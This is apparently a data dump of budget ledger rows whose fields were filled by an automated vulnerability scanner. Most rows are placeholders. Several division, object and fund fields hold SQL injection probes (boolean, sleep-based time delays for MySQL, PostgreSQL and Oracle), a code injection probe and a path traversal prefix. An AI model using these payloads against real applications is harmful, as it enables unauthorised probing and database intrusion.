<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMULyLG6uiv</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=26</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>../ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>"+response.write(9308252*9411510)+"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=25 or '3dABOqPJ'='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=26 or '3dABOqPJ'='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 or "XKrwSOqW"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*if(now()=sysdate(),sleep(15),0)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1) OR 157=(SELECT 157 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1E3mq0m7T' OR 136=(SELECT 136 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1����%2527%2522\'\"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891 from DUAL)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUq4AEcAR3</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=26</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
